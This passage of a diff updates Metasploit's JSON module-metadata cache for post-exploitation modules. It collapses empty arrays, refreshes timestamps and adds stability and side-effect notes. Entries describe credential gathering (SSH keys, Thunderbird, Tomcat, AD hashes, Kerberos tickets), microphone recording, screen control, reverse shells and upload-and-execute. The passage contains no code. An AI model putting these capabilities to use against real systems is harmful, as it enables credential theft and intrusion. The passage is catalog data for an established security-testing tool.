"ref_name": "multi/gather/resolve_hosts", @@ -268318,21 +269026,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/rsyncd_creds": { "name": "UNIX Gather RSYNC Credentials", "fullname": "post/multi/gather/rsyncd_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268340,16 +269049,14 @@ "Jon Hart " ], "description": "Post Module to obtain credentials saved for RSYNC in various locations", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/rsyncd_creds.rb", "is_install_path": true, "ref_name": "multi/gather/rsyncd_creds", @@ -268357,21 +269064,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/rubygems_api_key": { "name": "Multi Gather RubyGems API Key", "fullname": "post/multi/gather/rubygems_api_key", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268380,16 +269088,14 @@ "Brandon Myers " ], "description": "This module obtains a user's RubyGems API key from ~/.gem/credentials.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/rubygems_api_key.rb", "is_install_path": true, "ref_name": "multi/gather/rubygems_api_key", @@ -268397,21 +269103,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/run_console_rc_file": { "name": "Multi Gather Run Console Resource File", "fullname": "post/multi/gather/run_console_rc_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268419,16 +269126,14 @@ "Carlos Perez " ], "description": "This module will read console commands from a resource file and\n execute the commands in the specified Meterpreter session.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/run_console_rc_file.rb", "is_install_path": true, "ref_name": "multi/gather/run_console_rc_file", @@ -268436,21 +269141,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/saltstack_salt": { "name": "SaltStack Salt Information Gatherer", "fullname": "post/multi/gather/saltstack_salt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268459,16 +269165,14 @@ "c2Vlcgo" ], "description": "This module gathers information from SaltStack Salt masters and minions.\n Data gathered from minions: 1. salt minion config file\n Data gathered from masters: 1. minion list (denied, pre, rejected, accepted)\n 2. minion hostname/ip/os (depending on module settings)\n 3. SLS\n 4. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed\n 5. minion config files\n 6. pillar data", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-24 16:42:43 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/post/multi/gather/saltstack_salt.rb", "is_install_path": true, "ref_name": "multi/gather/saltstack_salt", @@ -268482,25 +269186,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/skype_enum": { "name": "Multi Gather Skype User Data Enumeration", "fullname": "post/multi/gather/skype_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268508,16 +269206,14 @@ "Carlos Perez " ], "description": "This module will enumerate Skype account settings, contact list, call history, chat logs,\n file transfer history, and voicemail logs, saving all the data to CSV files for analysis.", - "references": [ - - ], + "references": [], "platform": "OSX,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/skype_enum.rb", "is_install_path": true, "ref_name": "multi/gather/skype_enum", @@ -268525,22 +269221,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/ssh_creds": { "name": "Multi Gather OpenSSH PKI Credentials Collection", "fullname": "post/multi/gather/ssh_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268548,16 +269245,14 @@ "Jim Halfpenny" ], "description": "This module will collect the contents of all users' .ssh directories on the targeted\n machine. Additionally, known_hosts and authorized_keys and any other files are also\n downloaded. This module is largely based on firefox_creds.rb.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/ssh_creds.rb", "is_install_path": true, "ref_name": "multi/gather/ssh_creds", @@ -268565,22 +269260,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/thunderbird_creds": { "name": "Multi Gather Mozilla Thunderbird Signon Credential Collection", "fullname": "post/multi/gather/thunderbird_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268588,16 +269284,14 @@ "sinn3r " ], "description": "This module will collect credentials from Mozilla Thunderbird by downloading\n the necessary files such as 'signons.sqlite', 'key3.db', and 'cert8.db' for\n offline decryption with third party tools.\n\n If necessary, you may also set the PARSE option to true to parse the sqlite\n file, which contains sensitive information such as the encrypted username/password.\n However, this feature is not enabled by default, because it requires SQLITE3 gem\n to be installed on your machine.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/thunderbird_creds.rb", "is_install_path": true, "ref_name": "multi/gather/thunderbird_creds", @@ -268605,22 +269299,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/tomcat_gather": { "name": "Gather Tomcat Credentials", "fullname": "post/multi/gather/tomcat_gather", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268628,16 +269323,14 @@ "Koen Riepe " ], "description": "This module will attempt to collect credentials from Tomcat services running on the machine.", - "references": [ - - ], + "references": [], "platform": "Linux,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/tomcat_gather.rb", "is_install_path": true, "ref_name": "multi/gather/tomcat_gather", @@ -268645,21 +269338,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/ubiquiti_unifi_backup": { "name": "Multi Gather Ubiquiti UniFi Controller Backup", "fullname": "post/multi/gather/ubiquiti_unifi_backup", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268681,7 +269375,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/ubiquiti_unifi_backup.rb", "is_install_path": true, "ref_name": "multi/gather/ubiquiti_unifi_backup", @@ -268689,21 +269383,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/unix_cached_ad_hashes": { "name": "UNIX Gather Cached AD Hashes", "fullname": "post/multi/gather/unix_cached_ad_hashes", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268711,9 +269406,7 @@ "Tim Brown " ], "description": "Post Module to obtain all cached AD hashes on the targeted UNIX machine. These can be cracked with John the Ripper (JtR).", - "references": [ - - ], + "references": [], "platform": "AIX,Linux,OSX,Solaris,Unix", "arch": "", "rport": null, @@ -268734,25 +269427,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/unix_kerberos_tickets": { "name": "UNIX Gather Kerberos Tickets", "fullname": "post/multi/gather/unix_kerberos_tickets", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268760,9 +269447,7 @@ "Tim Brown " ], "description": "Post Module to obtain all kerberos tickets on the targeted UNIX machine.", - "references": [ - - ], + "references": [], "platform": "AIX,Linux,OSX,Solaris,Unix", "arch": "", "rport": null, @@ -268783,25 +269468,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/wlan_geolocate": { "name": "Multiplatform WLAN Enumeration and Geolocation", "fullname": "post/multi/gather/wlan_geolocate", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268809,16 +269488,14 @@ "Tom Sellers " ], "description": "Enumerate wireless networks visible to the target device.\n Optionally geolocate the target by gathering local wireless networks and\n performing a lookup against Google APIs.", - "references": [ - - ], + "references": [], "platform": "Android,BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/multi/gather/wlan_geolocate.rb", "is_install_path": true, "ref_name": "multi/gather/wlan_geolocate", @@ -268826,22 +269503,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/wowza_streaming_engine_creds": { "name": "Gather Wowza Streaming Engine Credentials", "fullname": "post/multi/gather/wowza_streaming_engine_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268859,7 +269537,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-09 01:31:23 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/multi/gather/wowza_streaming_engine_creds.rb", "is_install_path": true, "ref_name": "multi/gather/wowza_streaming_engine_creds", @@ -268868,14 +269546,10 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "Reliability": [ - + "crash-safe" ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -268883,33 +269557,27 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/general/close": { "name": "Multi Generic Operating System Session Close", "fullname": "post/multi/general/close", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "hdm " ], - "description": "This module closes the specified session. This can be useful as a finisher for automation tasks", - "references": [ - - ], + "description": "This module closes the specified session. This can be useful as a finisher for automation tasks.", + "references": [], "platform": "Linux,OSX,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/multi/general/close.rb", "is_install_path": true, "ref_name": "multi/general/close", @@ -268917,22 +269585,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/general/execute": { "name": "Multi Generic Operating System Session Command Execution", "fullname": "post/multi/general/execute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268940,16 +269609,14 @@ "hdm " ], "description": "This module executes an arbitrary command line", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-04-18 20:43:50 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/general/execute.rb", "is_install_path": true, "ref_name": "multi/general/execute", @@ -268957,22 +269624,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/general/wall": { "name": "Write Messages to Users", "fullname": "post/multi/general/wall", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268980,16 +269648,14 @@ "Jon Hart " ], "description": "This module utilizes the wall(1) or write(1) utilities, as appropriate,\n to send messages to users on the target system.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/general/wall.rb", "is_install_path": true, "ref_name": "multi/general/wall", @@ -268997,22 +269663,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "screen-effects" + ], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/autoroute": { "name": "Multi Manage Network Route via Meterpreter Session", "fullname": "post/multi/manage/autoroute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269021,16 +269690,14 @@ "Josh Hale \"sn0wfa11\" " ], "description": "This module manages session routing via an existing\n Meterpreter session. It enables other modules to 'pivot' through a\n compromised host when connecting to the named NETWORK and SUBMASK.\n Autoadd will search a session for valid subnets from the routing table\n and interface list then add routes to them. Default will add a default\n route so that all TCP/IP traffic not specified in the MSF routing table\n will be routed through the session when pivoting. See documentation for more\n 'info -d' and click 'Knowledge Base'", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/autoroute.rb", "is_install_path": true, "ref_name": "multi/manage/autoroute", @@ -269038,21 +269705,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/dbvis_add_db_admin": { "name": "Multi Manage DbVisualizer Add Db Admin", "fullname": "post/multi/manage/dbvis_add_db_admin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269069,7 +269737,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/dbvis_add_db_admin.rb", "is_install_path": true, "ref_name": "multi/manage/dbvis_add_db_admin", @@ -269077,21 +269745,24 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/dbvis_query": { "name": "Multi Manage DbVisualizer Query", "fullname": "post/multi/manage/dbvis_query", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269108,7 +269779,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/dbvis_query.rb", "is_install_path": true, "ref_name": "multi/manage/dbvis_query", @@ -269116,21 +269787,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/fileshare": { "name": "Browse the session filesystem in a Web Browser", "fullname": "post/multi/manage/fileshare", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269138,9 +269810,7 @@ "timwr" ], "description": "This module allows you to browse the session filesystem via a local\n browser window.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, @@ -269155,12 +269825,8 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], - "SideEffects": [ - - ], + "Reliability": [], + "SideEffects": [], "Stability": [ "crash-safe" ] @@ -269171,16 +269837,12 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/hsts_eraser": { "name": "Web browsers HSTS entries eraser", "fullname": "post/multi/manage/hsts_eraser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269198,7 +269860,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/hsts_eraser.rb", "is_install_path": true, "ref_name": "multi/manage/hsts_eraser", @@ -269206,22 +269868,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/multi_post": { "name": "Multi Manage Post Module Macro Execution", "fullname": "post/multi/manage/multi_post", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269229,16 +269894,14 @@ "carlos_perez " ], "description": "This module will execute a list of modules given in a macro file in the format\n of against the select session checking for compatibility\n of the module against the sessions and validation of the options provided.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/multi_post.rb", "is_install_path": true, "ref_name": "multi/manage/multi_post", @@ -269246,22 +269909,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/open": { "name": "Open a file or URL on the target computer", "fullname": "post/multi/manage/open", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269269,16 +269935,14 @@ "Eliott Teissonniere" ], "description": "This module will open any file or URL specified with the URI format on the\n target computer via the embedded commands such as 'open' or 'xdg-open'.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/open.rb", "is_install_path": true, "ref_name": "multi/manage/open", @@ -269286,22 +269950,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "screen-effects" + ], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/play_youtube": { "name": "Multi Manage YouTube Broadcast", "fullname": "post/multi/manage/play_youtube", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269309,16 +269976,14 @@ "sinn3r " ], "description": "This module will broadcast a YouTube video on specified compromised systems. It will play\n the video in the target machine's native browser. The VID datastore option is the \"v\"\n parameter in a YouTube video's URL.\n\n Enabling the EMBED option will play the video in full screen mode through a clean interface\n but is not compatible with all videos.\n\n This module will create a custom profile for Firefox on Linux systems in the /tmp directory.", - "references": [ - - ], + "references": [], "platform": "Android,Linux,OSX,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/play_youtube.rb", "is_install_path": true, "ref_name": "multi/manage/play_youtube", @@ -269326,27 +269991,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], "SideEffects": [ "artifacts-on-disk", "audio-effects", "screen-effects" - ] + ], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/record_mic": { "name": "Multi Manage Record Microphone", "fullname": "post/multi/manage/record_mic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269354,16 +270019,14 @@ "sinn3r " ], "description": "This module will enable and record your target's microphone.\n For non-Windows targets, please use Java meterpreter to be\n able to use this feature.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/record_mic.rb", "is_install_path": true, "ref_name": "multi/manage/record_mic", @@ -269371,21 +270034,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/screensaver": { "name": "Multi Manage the screensaver of the target computer", "fullname": "post/multi/manage/screensaver", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": null, "type": "post", @@ -269403,7 +270067,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-09-09 16:49:21 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/multi/manage/screensaver.rb", "is_install_path": true, "ref_name": "multi/manage/screensaver", @@ -269411,14 +270075,12 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], + "Reliability": [], "Stability": [ - + "crash-safe" ], "SideEffects": [ - + "screen-effects" ] }, "session_types": [ @@ -269448,9 +270110,7 @@ "post_multi/manage/screenshare": { "name": "Multi Manage the screen of the target meterpreter session", "fullname": "post/multi/manage/screenshare", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269458,9 +270118,7 @@ "timwr" ], "description": "This module allows you to view and control the screen of the target computer via\n a local browser window. The module continually screenshots the target screen and\n also relays all mouse and keyboard events to session.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, @@ -269478,27 +270136,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/set_wallpaper": { "name": "Multi Manage Set Wallpaper", "fullname": "post/multi/manage/set_wallpaper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269506,16 +270156,14 @@ "timwr" ], "description": "This module will set the desktop wallpaper background on the specified session.\n The method of setting the wallpaper depends on the platform type.", - "references": [ - - ], + "references": [], "platform": "Android,Linux,OSX,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/set_wallpaper.rb", "is_install_path": true, "ref_name": "multi/manage/set_wallpaper", @@ -269523,21 +270171,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "screen-effects" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/shell_to_meterpreter": { "name": "Shell to Meterpreter Upgrade", "fullname": "post/multi/manage/shell_to_meterpreter", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269545,16 +270196,14 @@ "Tom Sellers " ], "description": "This module attempts to upgrade a command shell to meterpreter. The shell\n platform is automatically detected and the best version of meterpreter for\n the target is selected. Currently meterpreter/reverse_tcp is used on Windows\n and Linux, with 'python/meterpreter/reverse_tcp' used on all others.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-12-04 18:56:02 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/shell_to_meterpreter.rb", "is_install_path": true, "ref_name": "multi/manage/shell_to_meterpreter", @@ -269562,22 +270211,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/sudo": { "name": "Multiple Linux / Unix Post Sudo Upgrade Shell", "fullname": "post/multi/manage/sudo", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269595,7 +270248,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/post/multi/manage/sudo.rb", "is_install_path": true, "ref_name": "multi/manage/sudo", @@ -269603,21 +270256,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "account-lockouts" + ], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/system_session": { "name": "Multi Manage System Remote TCP Shell Session", "fullname": "post/multi/manage/system_session", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269625,16 +270282,14 @@ "Carlos Perez " ], "description": "This module will create a Reverse TCP Shell on the target system\n using the system's own scripting environments installed on the\n target.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/system_session.rb", "is_install_path": true, "ref_name": "multi/manage/system_session", @@ -269642,22 +270297,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/upload_exec": { "name": "Upload and Execute", "fullname": "post/multi/manage/upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269665,16 +270323,14 @@ "egypt " ], "description": "Push a file and execute it.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/upload_exec.rb", "is_install_path": true, "ref_name": "multi/manage/upload_exec", @@ -269682,22 +270338,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + 